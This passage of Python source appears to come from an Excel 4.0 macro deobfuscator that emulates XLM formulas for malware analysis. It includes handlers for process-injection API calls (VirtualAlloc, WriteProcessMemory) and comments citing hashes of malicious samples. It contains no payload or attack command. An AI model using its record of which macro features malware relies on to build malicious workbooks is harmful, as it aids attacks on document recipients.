'APP.MAXIMIZE': self.app_maximize_handler,\n\n            # functions\n            'ABS': self.abs_handler,\n            'ABSREF': self.absref_handler,\n            'ADDRESS': self.address_handler,\n            'AND': self.and_handler,\n            'CALL': self.call_handler,\n            'CHAR': self.char_handler,\n            'CLOSE': self.halt_handler,\n            'CODE': self.code_handler,\n            'CONCATENATE': self.concatenate_handler,\n            'COUNTA': self.counta_handler,\n            'COUNT': self.count_handler,\n            'DAY': self.day_handler,\n            'DEFINE.NAME': self.define_name_handler,\n            'DIRECTORY': self.directory_handler,\n            'ERROR': self.error_handler,\n            'FILES': self.files_handler,\n            'FORMULA': self.formula_handler,\n            'FOPEN': self.fopen_handler,\n            'FOR.CELL': self.forcell_handler,\n            'FSIZE': self.fsize_handler,\n            'FWRITE': self.fwrite_handler,\n            'FWRITELN': self.fwriteln_handler,\n            'GOTO': self.goto_handler,\n            'HALT': self.halt_handler,\n            'INDEX': self.index_handler,\n            'HLOOKUP': self.hlookup_handler,\n            'IF': self.if_handler,\n            'INDIRECT': self.indirect_handler,\n            'INT': self.int_handler,\n            'ISERROR': self.iserror_handler,\n            'ISNUMBER': self.is_number_handler,\n            'LEN': self.len_handler,\n            'MAX': self.max_handler,\n            'MIN': self.min_handler,\n            'MOD': self.mod_handler,\n            'MID': self.mid_handler,\n            'SQRT': self.sqrt_handler,\n            'NEXT': self.next_handler,\n            'NOT': self.not_handler,\n            'NOW': self.now_handler,\n            'OR': self.or_handler,\n            'OFFSET': self.offset_handler,\n            'PRODUCT': self.product_handler,\n            'QUOTIENT': self.quotient_handler,\n            'RANDBETWEEN': self.randbetween_handler,\n            'REGISTER': self.register_handler,\n            'REGISTER.ID': self.registerid_handler,\n            'RETURN': self.return_handler,\n            'ROUND': self.round_handler,\n            'ROUNDUP': self.roundup_handler,\n            'RUN': self.run_handler,\n            'ROWS': self.rows_handler,\n            'SEARCH': self.search_handler,\n            'SELECT': self.select_handler,\n            'SUM': self.sum_handler,\n            'T': self.t_handler,\n            'TEXT': self.text_handler,\n            'TRUNC': self.trunc_handler,\n            'VALUE': self.value_handler,\n            'WHILE': self.while_handler,\n\n            # Windows API\n            'Kernel32.VirtualAlloc': self.VirtualAlloc_handler,\n            'Kernel32.WriteProcessMemory': self.WriteProcessMemory_handler,\n            'Kernel32.RtlCopyMemory': self.RtlCopyMemory_handler,\n\n            # Future fuctions\n            '_xlfn.ARABIC': self.arabic_hander,\n        }\n\n    MAX_ISERROR_LOOPCOUNT = 10\n\n    jump_functions = ('GOTO', 'RUN')\n    important_functions = ('CALL', 'FOPEN', 'FWRITE', 'FREAD', 'REGISTER', 'IF', 'WHILE', 'HALT', 'CLOSE', \"NEXT\")\n    important_methods = ('SET.VALUE', 'FILE.DELETE', 'WORKBOOK.HIDE')\n\n    unicode_to_latin1_map = {\n        8364: 128,\n        129: 129,\n        8218: 130,\n        402: 131,\n        8222: 132,\n        8230: 133,\n        8224: 134,\n        8225: 135,\n        710: 136,\n        8240: 137,\n        352: 138,\n        8249: 139,\n        338: 140,\n        141: 141,\n        381: 142,\n        143: 143,\n        144: 144,\n        8216: 145,\n        8217: 146,\n        8220: 147,\n        8221: 148,\n        8226: 149,\n        8211: 150,\n        8212: 151,\n        732: 152,\n        8482: 153,\n        353: 154,\n        8250: 155,\n        339: 156,\n        157: 157,\n        382: 158,\n        376: 159\n    }\n\n    def __copy__(self):\n        result = XLMInterpreter(self.xlm_wrapper)\n        result.auto_labels = self.auto_labels\n        result._workspace_defaults = self._workspace_defaults\n        result._window_defaults = self._window_defaults\n        result._cell_defaults = self._cell_defaults\n        result._formula_cache = self._formula_cache\n\n        return result\n\n    @staticmethod\n    def is_float(text):\n        try:\n            float(text)\n            return True\n        except (ValueError, TypeError):\n            return False\n\n    @staticmethod\n    def is_int(text):\n        try:\n            int(text)\n            return True\n        except (ValueError, TypeError):\n            return False\n\n    @staticmethod\n    def is_bool(text):\n        try:\n            strtobool(text)\n            return True\n        except (ValueError, TypeError, AttributeError):\n            return False\n\n    def convert_float(self, text):\n        result = None\n        text = text.lower()\n        if text == 'false':\n            result = 0\n        elif text == 'true':\n            result = 1\n        else:\n            result = float(text)\n        return result\n\n    def get_parser(self):\n        xlm_parser = None\n        grammar_file_path = os.path.join(os.path.dirname(__file__), 'xlm-macro.lark.template')\n        with open(grammar_file_path, 'r', encoding='utf_8') as grammar_file:\n            macro_grammar = grammar_file.read()\n            macro_grammar = macro_grammar.replace('{{XLLEFTBRACKET}}',\n                                                  self.xlm_wrapper.get_xl_international_char(\n                                                      XlApplicationInternational.xlLeftBracket))\n            macro_grammar = macro_grammar.replace('{{XLRIGHTBRACKET}}',\n                                                  self.xlm_wrapper.get_xl_international_char(\n                                                      XlApplicationInternational.xlRightBracket))\n            macro_grammar = macro_grammar.replace('{{XLLISTSEPARATOR}}',\n                                                  self.xlm_wrapper.get_xl_international_char(\n                                                      XlApplicationInternational.xlListSeparator))\n            xlm_parser = Lark(macro_grammar, parser='lalr')\n\n        return xlm_parser\n\n    def get_formula_cell(self, macrosheet, col, row):\n        result_cell = None\n        not_found = False\n        row = int(row)\n        current_row = row\n        current_addr = col + str(current_row)\n        while current_addr not in macrosheet.cells or \\\n                macrosheet.cells[current_addr].formula is None:\n            if (current_row - row) < 10000:\n                current_row += 1\n            else:\n                not_found = True\n                break\n            current_addr = col + str(current_row)\n\n        if not_found is False:\n            result_cell = macrosheet.cells[current_addr]\n\n        return result_cell\n\n    def get_range_parts(self, parse_tree):\n        if isinstance(parse_tree, Tree) and parse_tree.data == 'range':\n            return parse_tree.children[0], parse_tree.children[-1]\n        else:\n            return None, None\n\n    def get_cell_addr(self, current_cell, cell_parse_tree):\n\n        res_sheet = res_col = res_row = None\n        if type(cell_parse_tree) is Token:\n            names = self.xlm_wrapper.get_defined_names()\n\n            label = cell_parse_tree.value.lower()\n            if label in names:\n                name_val = names[label]\n                if isinstance(name_val, Tree):\n                    # example: 6a8045bc617df5f2b8f9325ed291ef05ac027144f1fda84e78d5084d26847902\n                    res_sheet, res_col, res_row = self.get_cell_addr(current_cell, name_val)\n                else:\n                    res_sheet, res_col, res_row = Cell.parse_cell_addr(name_val)\n            elif label.strip('\"') in names:\n                res_sheet, res_col, res_row = Cell.parse_cell_addr(names[label.strip('\"')])\n            else:\n\n                if len(label) > 1 and label.startswith('\"') and label.endswith('\"'):\n                    label = label.strip('\"')\n                    root_parse_tree = self.xlm_parser.parse('=' + label)\n                    res_sheet, res_col, res_row = self.get_cell_addr(current_cell, root_parse_tree.children[0])\n        else:\n            if cell_parse_tree.data == 'defined_name':\n                label = '{}'.format(cell_parse_tree.children[2])\n                formula_str = self.xlm_wrapper.get_defined_name(label)\n                parsed_tree = self.xlm_parser.parse('=' + formula_str)\n                if isinstance(parsed_tree.children[0], Tree) and parsed_tree.children[0].data == 'range':\n                    start_cell, end_cell = self.get_range_parts(parsed_tree.children[0])\n                    cell = start_cell.children[0]\n                else:\n                    cell = parsed_tree.children[0].children[0]\n            else:\n                cell = cell_parse_tree.children[0]\n\n            if cell.data == 'a1_notation_cell':\n                if len(cell.children) == 2:\n                    cell_addr = \"'{}'!{}\".format(cell.children[0], cell.children[1])\n                else:\n                    cell_addr = cell.children[0]\n                res_sheet, res_col, res_row = Cell.parse_cell_addr(cell_addr)\n\n                if res_sheet is None and res_col is not None:\n                    res_sheet = current_cell.sheet.name\n            elif cell.data == 'r1c1_notation_cell':\n                current_col = Cell.convert_to_column_index(current_cell.column)\n                current_row = int(current_cell.row)\n\n                for current_child in cell.children:\n                    if current_child.type == 'NAME':\n                        res_sheet = current_child.value\n                    elif self.is_float(current_child.value):\n                        val = int(float(current_child.value))\n                        if last_seen == 'r':\n                            res_row = val\n                        else:\n                            res_col = val\n                    elif current_child.value.startswith('['):\n                        val = int(current_child.value[1:-1])\n                        if last_seen == 'r':\n                            res_row = current_row + val\n                        else:\n                            res_col = current_col + val\n                    elif current_child.lower() == 'r':\n                        last_seen = 'r'\n                        res_row = current_row\n                    elif current_child.lower() == 'c':\n                        last_seen = 'c'\n                        res_col = current_col\n                    else:\n                        raise Exception('Cell addresss, Syntax Error')\n\n                if res_sheet is None:\n                    res_sheet = current_cell.sheet.name\n                res_row = str(res_row)\n                res_col = Cell.convert_to_column_name(res_col)\n            else:\n                raise Exception('Cell addresss, Syntax Error')\n\n        return res_sheet, res_col, res_row\n\n    def get_cell(self, sheet_name, col, row):\n        result = None\n        sheets = self.xlm_wrapper.get_macrosheets()\n        if sheet_name in sheets:\n            sheet = sheets[sheet_name]\n            addr = col + str(row)\n            if addr in sheet.cells:\n                result = sheet.cells[addr]\n        else:\n            sheets = self.xlm_wrapper.get_worksheets()\n            if sheet_name in sheets:\n                sheet = sheets[sheet_name]\n                addr = col + str(row)\n                if addr in sheet.cells:\n                    result = sheet.cells[addr]\n\n        return result\n\n    def get_worksheet_cell(self, sheet_name, col, row):\n        result = None\n        sheets = self.xlm_wrapper.get_worksheets()\n        if sheet_name in sheets:\n            sheet = sheets[sheet_name]\n            addr = col + str(row)\n            if addr in sheet.cells:\n                result = sheet.cells[addr]\n\n        return result\n\n    def set_cell(self, sheet_name, col, row, text, set_value_only=False):\n        sheets = self.xlm_wrapper.get_macrosheets()\n        if sheet_name in sheets:\n            sheet = sheets[sheet_name]\n            addr = col + str(row)\n            if addr not in sheet.cells:\n                new_cell = Cell()\n                new_cell.column = col\n                new_cell.row = row\n                new_cell.sheet = sheet\n                sheet.cells[addr] = new_cell\n\n            cell = sheet.cells[addr]\n\n            text = EvalResult.unwrap_str_literal(text)\n\n            if not set_value_only:\n                if text.startswith('='):\n                    cell.formula = text\n                else:\n                    cell.formula = None\n\n            cell.value = text\n\n    @staticmethod\n    def convert_ptree_to_str(parse_tree_root):\n        if type(parse_tree_root) == Token:\n            return str(parse_tree_root)\n        else:\n            result = ''\n            for child in parse_tree_root.children:\n                result += XLMInterpreter.convert_ptree_to_str(child)\n            return result\n\n    def get_window(self, number):\n        result = None\n        if len(self._window_defaults) == 0:\n            script_dir = os.path.dirname(__file__)\n            config_dir = os.path.join(script_dir, 'configs')\n            with open(os.path.join(config_dir, 'get_window.conf'), 'r', encoding='utf_8') as workspace_conf_file:\n                for index, line in enumerate(workspace_conf_file):\n                    line = line.strip()\n                    if len(line) > 0:\n                        if self.is_float(line) is True:\n                            self._window_defaults[index + 1] = int(float(line))\n                        else:\n                            self._window_defaults[index + 1] = line\n\n        if number in self._window_defaults:\n            result = self._window_defaults[number]\n\n        return result\n\n    def get_workspace(self, number):\n        result = None\n        if len(self._workspace_defaults) == 0:\n            script_dir = os.path.dirname(__file__)\n            config_dir = os.path.join(script_dir, 'configs')\n            with open(os.path.join(config_dir, 'get_workspace.conf'), 'r', encoding='utf_8') as workspace_conf_file:\n                for index, line in enumerate(workspace_conf_file):\n                    line = line.strip()\n                    if len(line) > 0:\n                        self._workspace_defaults[index + 1] = line\n\n        if number in self._workspace_defaults:\n            result = self._workspace_defaults[number]\n        return result\n\n    def get_default_cell_info(self, number):\n        result = None\n        if len(self._cell_defaults) == 0:\n            script_dir = os.path.dirname(__file__)\n            config_dir = os.path.join(script_dir, 'configs')\n            with open(os.path.join(config_dir, 'get_cell.conf'), 'r', encoding='utf_8') as workspace_conf_file:\n                for index, line in enumerate(workspace_conf_file):\n                    line = line.strip()\n                    if len(line) > 0:\n                        self._cell_defaults[index + 1] = line\n\n        if number in self._cell_defaults:\n            result = self._cell_defaults[number]\n        return result\n\n    def evaluate_formula(self, current_cell, name, arguments, interactive, destination_arg=1, set_value_only=False):\n        # hash: fa391403aa028fa7b42a9f3491908f6f25414c35bfd104f8cf186220fb3b4f83\" --> =FORMULA()\n        if isinstance(arguments[0], list) and len(arguments[0]) == 0:\n            return EvalResult(None, EvalStatus.FullEvaluation, False, \"{}()\".format(name))\n        source, destination = (arguments[0], arguments[1]) if destination_arg == 1 else (arguments[1], arguments[0])\n\n        src_eval_result = self.evaluate_parse_tree(current_cell, source, interactive)\n\n        if isinstance(destination, Token):\n            # TODO: get_defined_name must return a list; currently it returns list or one item\n\n            destination = self.xlm_wrapper.get_defined_name(destination)\n            if isinstance(destination, list):\n                destination = [] if not destination else destination[0]\n\n        if(isinstance(destination, str)):\n            destination = self.xlm_parser.parse('=' + destination).children[0]\n\n        if isinstance(destination, Tree):\n            if destination.data == 'defined_name' or destination.data == 'name':\n                defined_name_formula = self.xlm_wrapper.get_defined_name(destination.children[2])\n                if isinstance(defined_name_formula, Tree):\n                    destination = defined_name_formula\n                else:\n                    destination = self.xlm_parser.parse('=' + defined_name_formula).children[0]\n\n            if destination.data == 'concat_expression' or destination.data == 'function_call':\n                res = self.evaluate_parse_tree(current_cell, destination, interactive)\n                if isinstance(res.value, tuple) and len(res.value) == 3:\n                    destination_str = \"'{}'!{}{}\".format(res.value[0], res.value[1], res.value[2])\n                    dst_start_sheet, dst_start_col, dst_start_row = res.value\n                else:\n                    destination_str = res.text\n                    dst_start_sheet, dst_start_col, dst_start_row = Cell.parse_cell_addr(destination_str)\n                dst_end_sheet, dst_end_col, dst_end_row = dst_start_sheet, dst_start_col, dst_start_row\n\n            else:\n                if destination.data == 'range':\n                    dst_start_sheet, dst_start_col, dst_start_row = self.get_cell_addr(current_cell,\n                                                                                       destination.children[0])\n                    dst_end_sheet, dst_end_col, dst_end_row = self.get_cell_addr(current_cell, destination.children[2])\n                else:\n                    dst_start_sheet, dst_start_col, dst_start_row = self.get_cell_addr(current_cell, destination)\n                    dst_end_sheet, dst_end_col, dst_end_row = dst_start_sheet, dst_start_col, dst_start_row\n                destination_str = XLMInterpreter.convert_ptree_to_str(destination)\n\n\n        text = src_eval_result.get_text(unwrap=True)\n        if src_eval_result.status == EvalStatus.FullEvaluation:\n            for row in range(int(dst_start_row), int(dst_end_row) + 1):\n                for col in range(Cell.convert_to_column_index(dst_start_col),\n                                 Cell.convert_to_column_index(dst_end_col) + 1):\n                    if (\n                            dst_start_sheet,\n                            Cell.convert_to_column_name(col) + str(row)) in self.cell_with_unsuccessfull_set:\n                        self.cell_with_unsuccessfull_set.remove((dst_start_sheet,\n                                                                 Cell.convert_to_column_name(col) + str(row)))\n\n                    self.set_cell(dst_start_sheet,\n                                  Cell.convert_to_column_name(col),\n                                  str(row),\n                                  str(src_eval_result.value),\n                                  set_value_only)\n        else:\n            for row in range(int(dst_start_row), int(dst_end_row) + 1):\n                for col in range(Cell.convert_to_column_index(dst_start_col),\n                                 Cell.convert_to_column_index(dst_end_col) + 1):\n                    self.cell_with_unsuccessfull_set.add((dst_start_sheet,\n                                                          Cell.convert_to_column_name(col) + str(row)))\n\n        if destination_arg == 1:\n            text = \"{}({},{})\".format(name,\n                                      src_eval_result.get_text(),\n                                      destination_str)\n        else:\n            text = \"{}({},{})\".format(name,\n                                      destination_str,\n                                      src_eval_result.get_text())\n        return_val = 0\n        return EvalResult(None, src_eval_result.status, return_val, text)\n\n    def evaluate_argument_list(self, current_cell, name, arguments):\n        args_str = ''\n        for argument in arguments:\n            if type(argument) is Token or type(argument) is Tree:\n                arg_eval_Result = self.evaluate_parse_tree(current_cell, argument, False)\n                args_str += arg_eval_Result.get_text() + ','\n\n        args_str = args_str.strip(',')\n        return_val = text = '={}({})'.format(name, args_str)\n        status = EvalStatus.PartialEvaluation\n\n        return EvalResult(None, status, return_val, text)\n\n    def evaluate_function(self, current_cell, parse_tree_root, interactive):\n        # function name can be a string literal (double quoted or unqouted), and Tree (defined name, cell, function_call)\n\n        function_name = parse_tree_root.children[0]\n        function_name_literal = EvalResult.unwrap_str_literal(function_name)\n\n        # OFFSET()()\n        if isinstance(function_name, Tree) and function_name.data == 'function_call':\n            func_eval_result = self.evaluate_parse_tree(current_cell, function_name, False)\n            if func_eval_result.status != EvalStatus.FullEvaluation:\n                return EvalResult(func_eval_result.next_cell, func_eval_result.status, 0,\n                                  XLMInterpreter.convert_ptree_to_str(parse_tree_root))\n            else:\n                func_eval_result.text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n                return func_eval_result\n\n        # handle alias name for a function (REGISTER)\n        # c45ed3a0ce5df27ac29e0fab99dc4d462f61a0d0c025e9161ced3b2c913d57d8\n        if function_name_literal in self._registered_functions:\n            parse_tree_root.children[0] = parse_tree_root.children[0].update(\n                None, self._registered_functions[function_name_literal]['name'])\n            return self.evaluate_function(current_cell, parse_tree_root, interactive)\n\n        # cell_function_call\n        if isinstance(function_name, Tree) and function_name.data == 'cell':\n            self._function_call_stack.append(current_cell)\n            return self.goto_handler([function_name], current_cell, interactive, parse_tree_root)\n\n        # test()\n        if function_name_literal.lower() in self.defined_names:\n            try:\n                ref_parsed = self.xlm_parser.parse('=' + self.defined_names[function_name_literal.lower()])\n                if isinstance(ref_parsed.children[0], Tree) and ref_parsed.children[0].data == 'cell':\n                    function_name = ref_parsed.children[0]\n                else:\n                    raise Exception\n            except:\n                function_name = self.defined_names[function_name_literal.lower()]\n\n        # x!test()\n        if isinstance(function_name, Tree) and function_name.data == 'defined_name':\n            function_lable = function_name.children[-1].value\n            if function_lable.lower() in self.defined_names:\n                try:\n                    ref_parsed = self.xlm_parser.parse('=' + self.defined_names[function_lable.lower()])\n                    if isinstance(ref_parsed.children[0], Tree) and ref_parsed.children[0].data == 'cell':\n                        function_name = ref_parsed.children[0]\n                    else:\n                        raise Exception\n                except:\n                    function_name = self.defined_names[function_name_literal.lower()]\n\n        # cell_function_call\n        if isinstance(function_name, Tree) and function_name.data == 'cell':\n            self._function_call_stack.append(current_cell)\n            return self.goto_handler([function_name], current_cell, interactive, parse_tree_root)\n\n        if self.ignore_processing and function_name_literal != 'NEXT':\n            return EvalResult(None, EvalStatus.IGNORED, 0, '')\n\n        arguments = []\n        for i in parse_tree_root.children[2].children:\n            if type(i) is not Token:\n                if len(i.children) > 0:\n                    arguments.append(i.children[0])\n                else:\n                    arguments.append(i.children)\n\n        if function_name_literal in self._handlers:\n            eval_result = self._handlers[function_name_literal](arguments, current_cell, interactive, parse_tree_root)\n\n        else:\n            eval_result = self.evaluate_argument_list(current_cell, function_name_literal, arguments)\n\n        if function_name_literal in XLMInterpreter.jump_functions:\n            eval_result.output_level = 0\n        elif function_name_literal in XLMInterpreter.important_functions:\n            eval_result.output_level = 2\n        else:\n            eval_result.output_level = 1\n\n        return eval_result\n\n    # region Handlers\n    def and_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        value = True\n        status = EvalStatus.FullEvaluation\n        for arg in arguments:\n            arg_eval_result = self.evaluate_parse_tree(current_cell, arg, interactive)\n            if arg_eval_result.status == EvalStatus.FullEvaluation:\n                if EvalResult.unwrap_str_literal(str(arg_eval_result.value)).lower() != \"true\":\n                    value = False\n                    break\n            else:\n                status = EvalStatus.PartialEvaluation\n                value = False\n                break\n        return EvalResult(None, status, value, str(value))\n\n    def or_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        value = False\n        status = EvalStatus.FullEvaluation\n        for arg in arguments:\n            arg_eval_result = self.evaluate_parse_tree(current_cell, arg, interactive)\n            if arg_eval_result.status == EvalStatus.FullEvaluation:\n                if EvalResult.unwrap_str_literal(str(arg_eval_result.value)).lower() == \"true\":\n                    value = True\n                    break\n            else:\n                status = EvalStatus.PartialEvaluation\n                break\n\n        return EvalResult(None, status, value, str(value))\n\n    def hlookup_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.FullEvaluation\n        value = \"\"\n        arg_eval_result1 = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        arg_eval_result2 = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        arg_eval_result3 = self.evaluate_parse_tree(current_cell, arguments[2], interactive)\n        arg_eval_result4 = self.evaluate_parse_tree(current_cell, arguments[3], interactive)\n        regex = arg_eval_result1.text.strip('\"')\n        if regex == '*':\n            regex = \".*\"\n        if arg_eval_result4.value == \"FALSE\":\n            sheet_name, startcolumn, startrow, endcolumn, endrow = Cell.parse_range_addr(arg_eval_result2.text)\n            status = EvalStatus.FullEvaluation\n\n            start_col_index = Cell.convert_to_column_index(startcolumn)\n            end_col_index = Cell.convert_to_column_index(endcolumn)\n\n            start_row_index = int(startrow) + int(arg_eval_result3.value) - 1\n            end_row_index = int(endrow)\n\n            for row in range(start_row_index, end_row_index + 1):\n                for col in range(start_col_index, end_col_index + 1):\n                    if (sheet_name != None):\n                        cell = self.get_worksheet_cell(sheet_name,\n                                                       Cell.convert_to_column_name(col),\n                                                       str(row))\n                    else:\n                        cell = self.get_cell(current_cell.sheet.name,\n                                             Cell.convert_to_column_name(col),\n                                             str(row))\n\n                    if cell and re.match(regex, cell.value):\n                        return EvalResult(None, status, cell.value, str(cell.value))\n        else:\n            status = EvalStatus.PartialEvaluation\n\n        return EvalResult(None, status, value, str(value))\n\n    def not_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        value = True\n        status = EvalStatus.FullEvaluation\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if arg_eval_result.status == EvalStatus.FullEvaluation:\n            if EvalResult.unwrap_str_literal(str(arg_eval_result.value)).lower() == \"true\":\n                value = False\n        else:\n            status = EvalStatus.PartialEvaluation\n        return EvalResult(None, status, value, str(value))\n\n    def code_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.FullEvaluation\n        value = 0\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        if arg_eval_result.status == EvalStatus.FullEvaluation:\n            if arg_eval_result.text != '':\n                value = ord(arg_eval_result.text[0])\n                if value > 256 and value in XLMInterpreter.unicode_to_latin1_map:\n                    value = XLMInterpreter.unicode_to_latin1_map[value]\n\n        else:\n            status = EvalStatus.PartialEvaluation\n        return EvalResult(None, status, value, str(value))\n\n    def sum_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.FullEvaluation\n        value = 0\n        it = 0\n        for arg in arguments:\n            arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[it], interactive)\n            value = value + float(arg_eval_result.value)\n            status = arg_eval_result.status\n            it = it + 1\n\n        return EvalResult(None, status, value, str(value))\n\n    def randbetween_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result1 = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        arg_eval_result2 = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        value = 0\n        # Initial implementation for integer\n        if arg_eval_result1.status == EvalStatus.FullEvaluation and arg_eval_result2.status == EvalStatus.FullEvaluation:\n            status = EvalStatus.FullEvaluation\n            value = random.randint(int(float(arg_eval_result1.value)), int(float(arg_eval_result2.value)))\n\n        return EvalResult(None, status, value, str(value))\n\n    def text_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        arg_eval_result1 = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        arg_eval_result2 = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n        value = 0\n        status = EvalStatus.PartialEvaluation\n        # Initial implementation for integer\n        if arg_eval_result1.status == EvalStatus.FullEvaluation and int(arg_eval_result2.text.strip('\\\"')) == 0:\n            status = EvalStatus.FullEvaluation\n            value = int(arg_eval_result1.value)\n\n        return EvalResult(None, status, value, str(value))\n\n    def active_cell_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.PartialEvaluation\n        if self.active_cell:\n            if self.active_cell.formula:\n                parse_tree = self.xlm_parser.parse(self.active_cell.formula)\n                eval_res = self.evaluate_parse_tree(current_cell, parse_tree, interactive)\n                val = eval_res.value\n                status = eval_res.status\n            else:\n                val = self.active_cell.value\n                status = EvalStatus.FullEvaluation\n\n            return_val = val\n            text = str(return_val)\n        else:\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n            return_val = text\n\n        return EvalResult(None, status, return_val, text)\n\n    def get_cell_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        if len(arguments) == 2:\n            arg1_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n            dst_sheet, dst_col, dst_row = self.get_cell_addr(current_cell, arguments[1])\n            type_id = arg1_eval_result.value\n            if self.is_float(type_id):\n                type_id = int(float(type_id))\n            if dst_sheet is None:\n                dst_sheet = current_cell.sheet.name\n            status = EvalStatus.PartialEvaluation\n            if arg1_eval_result.status == EvalStatus.FullEvaluation:\n                data, not_exist, not_implemented = self.xlm_wrapper.get_cell_info(dst_sheet, dst_col, dst_row, type_id)\n                if not_exist and 1 == 2:\n                    return_val = self.get_default_cell_info(type_id)\n                    text = str(return_val)\n                    status = EvalStatus.FullEvaluation\n                elif not_implemented:\n                    text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n                    return_val = ''\n                else:\n                    text = str(data) if data is not None else None\n                    return_val = data\n                    status = EvalStatus.FullEvaluation\n        else:\n            text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n            return_val = ''\n            status = EvalStatus.PartialEvaluation\n        return EvalResult(None, status, return_val, text)\n\n    def set_name_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        label = EvalResult.unwrap_str_literal(XLMInterpreter.convert_ptree_to_str(arguments[0])).lower()\n        if isinstance(arguments[1], Tree) and arguments[1].data == 'cell':\n            arg2_text = XLMInterpreter.convert_ptree_to_str(arguments[1])\n            names = self.xlm_wrapper.get_defined_names()\n            names[label] = arguments[1]\n            text = 'SET.NAME({},{})'.format(label, arg2_text)\n            return_val = 0\n            status = EvalStatus.FullEvaluation\n        else:\n            arg2_eval_result = self.evaluate_parse_tree(current_cell, arguments[1], interactive)\n            if arg2_eval_result.status is EvalStatus.FullEvaluation:\n                arg2_text = arg2_eval_result.get_text(unwrap=True)\n                names = self.xlm_wrapper.get_defined_names()\n                if isinstance(arg2_eval_result.value, Cell):\n                    names[label] = arg2_eval_result.value\n                else:\n                    names[label] = arg2_text\n                text = 'SET.NAME({},{})'.format(label, arg2_text)\n                return_val = 0\n                status = EvalStatus.FullEvaluation\n            else:\n                return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n                status = arg2_eval_result.status\n\n        return EvalResult(None, status, return_val, text)\n\n    def end_if_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        self._indent_level -= 1\n        self._indent_current_line = True\n        status = EvalStatus.FullEvaluation\n\n        return EvalResult(None, status, 'END.IF', 'END.IF')\n\n    def get_workspace_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.PartialEvaluation\n        if len(arguments) == 1:\n            arg1_eval_Result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n\n            if arg1_eval_Result.status == EvalStatus.FullEvaluation and self.is_float(arg1_eval_Result.get_text()):\n                workspace_param = self.get_workspace(int(float(arg1_eval_Result.get_text())))\n                # current_cell.value = workspace_param\n                text = 'GET.WORKSPACE({})'.format(arg1_eval_Result.get_text())\n                return_val = workspace_param\n                status = EvalStatus.FullEvaluation\n                next_cell = None\n\n        if status == EvalStatus.PartialEvaluation:\n            return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n        return EvalResult(None, status, return_val, text)\n\n    def get_window_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.Error\n        if len(arguments) == 1:\n            arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n\n            if arg_eval_result.status == EvalStatus.FullEvaluation and self.is_float(arg_eval_result.get_text()):\n                window_param = self.get_window(int(float(arg_eval_result.get_text())))\n                # current_cell.value = window_param\n                text = window_param  # XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n                return_val = window_param\n\n                # Overwrites to take actual values from the workbook instead of default config\n                if int(float(arg_eval_result.get_text())) == 1 or int(float(arg_eval_result.get_text())) == 30:\n                    return_val = \"[\" + self.xlm_wrapper.get_workbook_name() + \"]\" + current_cell.sheet.name\n                    status = EvalStatus.FullEvaluation\n\n                status = EvalStatus.FullEvaluation\n            else:\n                return_val = text = 'GET.WINDOW({})'.format(arg_eval_result.get_text())\n                status = arg_eval_result.status\n        if status == EvalStatus.Error:\n            return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n\n        return EvalResult(None, status, return_val, text)\n\n    def get_document_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.Error\n        arg_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n        return_val = \"\"\n        # Static implementation\n        if self.is_int(arg_eval_result.value):\n            status = EvalStatus.PartialEvaluation\n            if int(arg_eval_result.value) == 76:\n                return_val = \"[\" + self.xlm_wrapper.get_workbook_name() + \"]\" + current_cell.sheet.name\n                status = EvalStatus.FullEvaluation\n            elif int(arg_eval_result.value) == 88:\n                return_val = self.xlm_wrapper.get_workbook_name()\n                status = EvalStatus.FullEvaluation\n        text = return_val\n        return EvalResult(None, status, return_val, text)\n\n    def on_time_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.Error\n        if len(arguments) == 2:\n            arg1_eval_result = self.evaluate_parse_tree(current_cell, arguments[0], interactive)\n            next_sheet, next_col, next_row = self.get_cell_addr(current_cell, arguments[1])\n            sheets = self.xlm_wrapper.get_macrosheets()\n            if next_sheet in sheets:\n                next_cell = self.get_formula_cell(sheets[next_sheet], next_col, next_row)\n                text = 'ON.TIME({},{})'.format(arg1_eval_result.get_text(), str(next_cell))\n                status = EvalStatus.FullEvaluation\n                return_val = 0\n\n            return_val = text = XLMInterpreter.convert_ptree_to_str(parse_tree_root)\n        if status == EvalStatus.Error:\n            next_cell = None\n\n        return EvalResult(next_cell, status, return_val, text)\n\n    def app_maximize_handler(self, arguments, current_cell, interactive, parse_tree_root):\n        status = EvalStatus.FullEvaluation\n        return_val = True\n        text = str(return_val)\n        return EvalResult(None, status, return_val, text)\n\n    def concatenate_handler(self, arguments, current_cell, 